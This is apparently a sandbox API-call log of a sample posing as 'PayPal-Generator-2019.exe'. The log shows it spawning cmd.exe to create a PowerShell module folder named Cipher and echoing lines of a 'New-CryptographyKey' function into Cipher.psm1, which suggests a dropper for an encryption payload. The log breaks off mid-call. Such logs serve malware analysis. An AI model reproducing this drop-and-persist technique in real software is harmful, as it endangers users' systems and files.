_wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.253] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.253] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.253] _wcsicmp (_String1="exit", _String2=")") returned 60 [0048.253] _wcsicmp (_String1="FOR", _String2="exit") returned 1 [0048.253] _wcsicmp (_String1="FOR/?", _String2="exit") returned 1 [0048.253] _wcsicmp (_String1="IF", _String2="exit") returned 4 [0048.253] _wcsicmp (_String1="IF/?", _String2="exit") returned 4 [0048.253] _wcsicmp (_String1="REM", _String2="exit") returned 13 [0048.253] _wcsicmp (_String1="REM/?", _String2="exit") returned 13 [0048.253] GetConsoleTitleW (in: lpConsoleTitle=0xe2f348, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0048.255] GetFileAttributesW (lpFileName="cmd.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\cmd.exe")) returned 0xffffffff [0048.255] _wcsicmp (_String1="cmd", _String2="DIR") returned -1 [0048.255] _wcsicmp (_String1="cmd", _String2="ERASE") returned -2 [0048.255] _wcsicmp (_String1="cmd", _String2="DEL") returned -1 [0048.255] _wcsicmp (_String1="cmd", _String2="TYPE") returned -17 [0048.255] _wcsicmp (_String1="cmd", _String2="COPY") returned -2 [0048.255] _wcsicmp (_String1="cmd", _String2="CD") returned 9 [0048.255] _wcsicmp (_String1="cmd", _String2="CHDIR") returned 5 [0048.255] _wcsicmp (_String1="cmd", _String2="RENAME") returned -15 [0048.255] _wcsicmp (_String1="cmd", _String2="REN") returned -15 [0048.255] _wcsicmp (_String1="cmd", _String2="ECHO") returned -2 [0048.255] _wcsicmp (_String1="cmd", _String2="SET") returned -16 [0048.255] _wcsicmp (_String1="cmd", _String2="PAUSE") returned -13 [0048.255] _wcsicmp (_String1="cmd", _String2="DATE") returned -1 [0048.255] _wcsicmp (_String1="cmd", _String2="TIME") returned -17 [0048.255] _wcsicmp (_String1="cmd", _String2="PROMPT") returned -13 [0048.255] _wcsicmp (_String1="cmd", _String2="MD") returned -10 [0048.255] _wcsicmp (_String1="cmd", _String2="MKDIR") returned -10 [0048.255] _wcsicmp (_String1="cmd", _String2="RD") returned -15 [0048.255] _wcsicmp (_String1="cmd", _String2="RMDIR") returned -15 [0048.255] _wcsicmp (_String1="cmd", _String2="PATH") returned -13 [0048.255] _wcsicmp (_String1="cmd", _String2="GOTO") returned -4 [0048.255] _wcsicmp (_String1="cmd", _String2="SHIFT") returned -16 [0048.255] _wcsicmp (_String1="cmd", _String2="CLS") returned 1 [0048.255] _wcsicmp (_String1="cmd", _String2="CALL") returned 12 [0048.255] _wcsicmp (_String1="cmd", _String2="VERIFY") returned -19 [0048.255] _wcsicmp (_String1="cmd", _String2="VER") returned -19 [0048.255] _wcsicmp (_String1="cmd", _String2="VOL") returned -19 [0048.255] _wcsicmp (_String1="cmd", _String2="EXIT") returned -2 [0048.255] _wcsicmp (_String1="cmd", _String2="SETLOCAL") returned -16 [0048.256] _wcsicmp (_String1="cmd", _String2="ENDLOCAL") returned -2 [0048.256] _wcsicmp (_String1="cmd", _String2="TITLE") returned -17 [0048.256] _wcsicmp (_String1="cmd", _String2="START") returned -16 [0048.256] _wcsicmp (_String1="cmd", _String2="DPATH") returned -1 [0048.256] _wcsicmp (_String1="cmd", _String2="KEYS") returned -8 [0048.256] _wcsicmp (_String1="cmd", _String2="MOVE") returned -10 [0048.256] _wcsicmp (_String1="cmd", _String2="PUSHD") returned -13 [0048.256] _wcsicmp (_String1="cmd", _String2="POPD") returned -13 [0048.256] _wcsicmp (_String1="cmd", _String2="ASSOC") returned 2 [0048.256] _wcsicmp (_String1="cmd", _String2="FTYPE") returned -3 [0048.256] _wcsicmp (_String1="cmd", _String2="BREAK") returned 1 [0048.256] _wcsicmp (_String1="cmd", _String2="COLOR") returned -2 [0048.256] _wcsicmp (_String1="cmd", _String2="MKLINK") returned -10 [0048.256] _wcsicmp (_String1="cmd", _String2="DIR") returned -1 [0048.256] _wcsicmp (_String1="cmd", _String2="ERASE") returned -2 [0048.256] _wcsicmp (_String1="cmd", _String2="DEL") returned -1 [0048.256] _wcsicmp (_String1="cmd", _String2="TYPE") returned -17 [0048.256] _wcsicmp (_String1="cmd", _String2="COPY") returned -2 [0048.256] _wcsicmp (_String1="cmd", _String2="CD") returned 9 [0048.256] _wcsicmp (_String1="cmd", _String2="CHDIR") returned 5 [0048.256] _wcsicmp (_String1="cmd", _String2="RENAME") returned -15 [0048.256] _wcsicmp (_String1="cmd", _String2="REN") returned -15 [0048.256] _wcsicmp (_String1="cmd", _String2="ECHO") returned -2 [0048.256] _wcsicmp (_String1="cmd", _String2="SET") returned -16 [0048.256] _wcsicmp (_String1="cmd", _String2="PAUSE") returned -13 [0048.256] _wcsicmp (_String1="cmd", _String2="DATE") returned -1 [0048.256] _wcsicmp (_String1="cmd", _String2="TIME") returned -17 [0048.256] _wcsicmp (_String1="cmd", _String2="PROMPT") returned -13 [0048.256] _wcsicmp (_String1="cmd", _String2="MD") returned -10 [0048.256] _wcsicmp (_String1="cmd", _String2="MKDIR") returned -10 [0048.256] _wcsicmp (_String1="cmd", _String2="RD") returned -15 [0048.256] _wcsicmp (_String1="cmd", _String2="RMDIR") returned -15 [0048.256] _wcsicmp (_String1="cmd", _String2="PATH") returned -13 [0048.256] _wcsicmp (_String1="cmd", _String2="GOTO") returned -4 [0048.256] _wcsicmp (_String1="cmd", _String2="SHIFT") returned -16 [0048.256] _wcsicmp (_String1="cmd", _String2="CLS") returned 1 [0048.257] _wcsicmp (_String1="cmd", _String2="CALL") returned 12 [0048.257] _wcsicmp (_String1="cmd", _String2="VERIFY") returned -19 [0048.257] _wcsicmp (_String1="cmd", _String2="VER") returned -19 [0048.257] _wcsicmp (_String1="cmd", _String2="VOL") returned -19 [0048.257] _wcsicmp (_String1="cmd", _String2="EXIT") returned -2 [0048.257] _wcsicmp (_String1="cmd", _String2="SETLOCAL") returned -16 [0048.257] _wcsicmp (_String1="cmd", _String2="ENDLOCAL") returned -2 [0048.257] _wcsicmp (_String1="cmd", _String2="TITLE") returned -17 [0048.257] _wcsicmp (_String1="cmd", _String2="START") returned -16 [0048.257] _wcsicmp (_String1="cmd", _String2="DPATH") returned -1 [0048.257] _wcsicmp (_String1="cmd", _String2="KEYS") returned -8 [0048.257] _wcsicmp (_String1="cmd", _String2="MOVE") returned -10 [0048.257] _wcsicmp (_String1="cmd", _String2="PUSHD") returned -13 [0048.257] _wcsicmp (_String1="cmd", _String2="POPD") returned -13 [0048.257] _wcsicmp (_String1="cmd", _String2="ASSOC") returned 2 [0048.257] _wcsicmp (_String1="cmd", _String2="FTYPE") returned -3 [0048.257] _wcsicmp (_String1="cmd", _String2="BREAK") returned 1 [0048.257] _wcsicmp (_String1="cmd", _String2="COLOR") returned -2 [0048.257] _wcsicmp (_String1="cmd", _String2="MKLINK") returned -10 [0048.257] _wcsicmp (_String1="cmd", _String2="FOR") returned -3 [0048.257] _wcsicmp (_String1="cmd", _String2="IF") returned -6 [0048.257] _wcsicmp (_String1="cmd", _String2="REM") returned -15 [0048.257] _wcsnicmp (_String1="cmd.", _String2="cmd ", _MaxCount=0x4) returned 14 [0048.257] SetErrorMode (uMode=0x0) returned 0x0 [0048.257] SetErrorMode (uMode=0x1) returned 0x0 [0048.257] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x5172c90, lpFilePart=0xe2ee54 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0xe2ee54*="Desktop") returned 0x1d [0048.258] SetErrorMode (uMode=0x0) returned 0x1 [0048.258] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x105e4a0, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x87 [0048.258] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0048.258] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x105e4a0, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0048.258] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0048.258] FindFirstFileExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\cmd.exe", fInfoLevelId=0x1, lpFindFileData=0xe2ec00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe2ec00) returned 0xffffffff [0048.259] GetLastError () returned 0x2 [0048.259] FindFirstFileExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\cmd.exe.*", fInfoLevelId=0x1, lpFindFileData=0xe2ebe0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe2ebe0) returned 0xffffffff [0048.259] GetLastError () returned 0x2 [0048.259] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0048.259] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.exe", fInfoLevelId=0x1, lpFindFileData=0xe2ec00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe2ec00) returned 0xffffffff [0048.262] GetLastError () returned 0x2 [0048.262] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.exe.*", fInfoLevelId=0x1, lpFindFileData=0xe2ebe0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe2ebe0) returned 0xffffffff [0048.262] GetLastError () returned 0x2 [0048.262] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0048.262] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe", fInfoLevelId=0x1, lpFindFileData=0xe2ec00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe2ec00) returned 0x5173030 [0048.262] FindClose (in: hFindFile=0x5173030 | out: hFindFile=0x5173030) returned 1 [0048.262] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0048.262] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0048.262] GetConsoleTitleW (in: lpConsoleTitle=0xe2f0d4, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0048.264] InitializeProcThreadAttributeList (in: lpAttributeList=0xe2f000, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xe2efe4 | out: lpAttributeList=0xe2f000, lpSize=0xe2efe4) returned 1 [0048.264] UpdateProcThreadAttribute (in: lpAttributeList=0xe2f000, dwFlags=0x0, Attribute=0x60001, lpValue=0xe2efec, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xe2f000, lpPreviousValue=0x0) returned 1 [0048.264] GetStartupInfoW (in: lpStartupInfo=0xe2f038 | out: lpStartupInfo=0xe2f038*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x13, lpReserved2=0x51552c6, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0048.264] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0048.264] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0048.264] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0048.264] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0048.264] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0048.264] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0048.264] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0048.264] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0048.264] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0048.264] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0048.264] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0048.264] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0048.264] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0048.264] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0048.264] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0048.264] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0048.264] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0048.264] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0048.264] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0048.264] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0048.264] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0048.264] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0048.264] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0048.264] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0048.264] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0048.264] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0048.264] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0048.265] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0048.265] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0048.265] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0048.265] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0048.265] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0048.265] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0048.265] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0048.265] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0048.265] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0048.265] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0048.265] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0048.265] lstrcmpW (lpString1="\\cmd.exe", lpString2="\\XCOPY.EXE") returned -1 [0048.267] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c mkdir C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpStartupInfo=0xe2ef88*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="cmd.exe /c mkdir C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe2efd4 | out: lpCommandLine="cmd.exe /c mkdir C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher ", lpProcessInformation=0xe2efd4*(hProcess=0xa8, hThread=0xa4, dwProcessId=0xa6c, dwThreadId=0x55c)) returned 1 [0048.279] CloseHandle (hObject=0xa4) returned 1 [0048.279] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0048.280] GetEnvironmentStringsW () returned 0x5160fe8* [0048.280] FreeEnvironmentStringsA (penv="=") returned 1 [0048.280] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xffffffff) returned 0x0 [0048.469] GetExitCodeProcess (in: hProcess=0xa8, lpExitCode=0xe2ef6c | out: lpExitCode=0xe2ef6c*=0x0) returned 1 [0048.469] CloseHandle (hObject=0xa8) returned 1 [0048.469] _vsnwprintf (in: _Buffer=0xe2f054, _BufferCount=0x13, _Format="%08X", _ArgList=0xe2ef74 | out: _Buffer="00000000") returned 8 [0048.469] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0048.469] GetEnvironmentStringsW () returned 0x5174f90* [0048.470] FreeEnvironmentStringsA (penv="=") returned 1 [0048.470] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0048.470] GetEnvironmentStringsW () returned 0x5174f90* [0048.470] FreeEnvironmentStringsA (penv="=") returned 1 [0048.470] DeleteProcThreadAttributeList (in: lpAttributeList=0xe2f000 | out: lpAttributeList=0xe2f000) [0048.470] GetConsoleTitleW (in: lpConsoleTitle=0xe2f2e8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0048.481] _wcsicmp (_String1="cd", _String2="DIR") returned -1 [0048.481] _wcsicmp (_String1="cd", _String2="ERASE") returned -2 [0048.481] _wcsicmp (_String1="cd", _String2="DEL") returned -1 [0048.481] _wcsicmp (_String1="cd", _String2="TYPE") returned -17 [0048.481] _wcsicmp (_String1="cd", _String2="COPY") returned -11 [0048.481] _wcsicmp (_String1="cd", _String2="CD") returned 0 [0048.481] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0048.481] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0048.481] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0xe2f0a0, nVolumeNameSize=0x104, lpVolumeSerialNumber=0xe2f098, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0xe2f098*=0xd2ca4def, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0048.483] _wcsnicmp (_String1="C:", _String2="/D", _MaxCount=0x2) returned 52 [0048.483] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0xe2ee44 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x1d [0048.483] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x104, lpBuffer=0xe2ee44, lpFilePart=0xe2ee3c | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0xe2ee3c*="Cipher") returned 0x40 [0048.483] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher")) returned 0x10 [0048.484] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0xe2ebc0 | out: lpFindFileData=0xe2ebc0) returned 0x5173330 [0048.484] FindClose (in: hFindFile=0x5173330 | out: hFindFile=0x5173330) returned 1 [0048.484] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", lpFindFileData=0xe2ebc0 | out: lpFindFileData=0xe2ebc0) returned 0x5173330 [0048.484] FindClose (in: hFindFile=0x5173330 | out: hFindFile=0x5173330) returned 1 [0048.484] _wcsnicmp (_String1="CIIHMN~1", _String2="CIiHmnxMn6Ps", _MaxCount=0xc) returned 6 [0048.484] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpFindFileData=0xe2ebc0 | out: lpFindFileData=0xe2ebc0) returned 0x5173330 [0048.484] FindClose (in: hFindFile=0x5173330 | out: hFindFile=0x5173330) returned 1 [0048.484] _wcsnicmp (_String1="DOCUME~1", _String2="Documents", _MaxCount=0x9) returned 16 [0048.484] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell", lpFindFileData=0xe2ebc0 | out: lpFindFileData=0xe2ebc0) returned 0x5173330 [0048.484] FindClose (in: hFindFile=0x5173330 | out: hFindFile=0x5173330) returned 1 [0048.484] _wcsnicmp (_String1="WINDOW~1", _String2="WindowsPowerShell", _MaxCount=0x11) returned 11 [0048.484] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules", lpFindFileData=0xe2ebc0 | out: lpFindFileData=0xe2ebc0) returned 0x5173330 [0048.484] FindClose (in: hFindFile=0x5173330 | out: hFindFile=0x5173330) returned 1 [0048.484] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFindFileData=0xe2ebc0 | out: lpFindFileData=0xe2ebc0) returned 0x5173330 [0048.485] FindClose (in: hFindFile=0x5173330 | out: hFindFile=0x5173330) returned 1 [0048.485] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher")) returned 0x10 [0048.485] SetCurrentDirectoryW (lpPathName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher")) returned 1 [0048.485] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher") returned 1 [0048.485] GetEnvironmentStringsW () returned 0x5160508* [0048.485] FreeEnvironmentStringsA (penv="=") returned 1 [0048.485] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1066720 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher") returned 0x40 [0048.485] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.485] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.485] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.485] GetFileType (hFile=0x3c) returned 0x2 [0048.485] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0048.485] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2f48c | out: lpMode=0xe2f48c) returned 1 [0048.489] _dup (_FileHandle=1) returned 3 [0048.489] _close (_FileHandle=1) returned 0 [0048.489] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0048.489] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0xe2f46c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0048.490] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0048.490] GetConsoleTitleW (in: lpConsoleTitle=0xe2f288, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0048.492] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0048.492] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0048.492] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0048.492] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0048.492] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0048.492] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0048.492] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0048.492] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0048.492] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0048.492] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0048.492] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2f244 | out: _Buffer="function New-CryptographyKey() { \r\n") returned 36 [0048.492] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.492] GetFileType (hFile=0x3c) returned 0x1 [0048.492] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.492] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="function New-CryptographyKey() { \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function New-CryptographyKey() { \r\n", lpUsedDefaultChar=0x0) returned 37 [0048.492] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0xe2f234, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2f234*=0x24, lpOverlapped=0x0) returned 1 [0048.493] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0048.494] _close (_FileHandle=3) returned 0 [0048.494] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.494] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.494] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.494] GetFileType (hFile=0x3c) returned 0x2 [0048.494] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0048.494] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2f42c | out: lpMode=0xe2f42c) returned 1 [0048.497] _dup (_FileHandle=1) returned 3 [0048.497] _close (_FileHandle=1) returned 0 [0048.497] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0048.497] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2f40c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0048.497] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0048.497] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.497] GetFileType (hFile=0x3c) returned 0x1 [0048.497] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x24 [0048.497] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2f424*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2f424*=0) returned 0x23 [0048.497] ReadFile (in: hFile=0x3c, lpBuffer=0xe2f428, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2f418, lpOverlapped=0x0 | out: lpBuffer=0xe2f428*, lpNumberOfBytesRead=0xe2f418*=0x1, lpOverlapped=0x0) returned 1 [0048.497] GetConsoleTitleW (in: lpConsoleTitle=0xe2f228, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0048.499] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0048.499] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0048.499] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0048.499] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0048.500] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0048.500] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0048.500] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0048.500] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0048.500] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0048.500] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0048.500] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2f1e4 | out: _Buffer="[CmdletBinding()] \r\n") returned 21 [0048.500] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.500] GetFileType (hFile=0x3c) returned 0x1 [0048.500] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.500] WideCharToMultiByte (in: 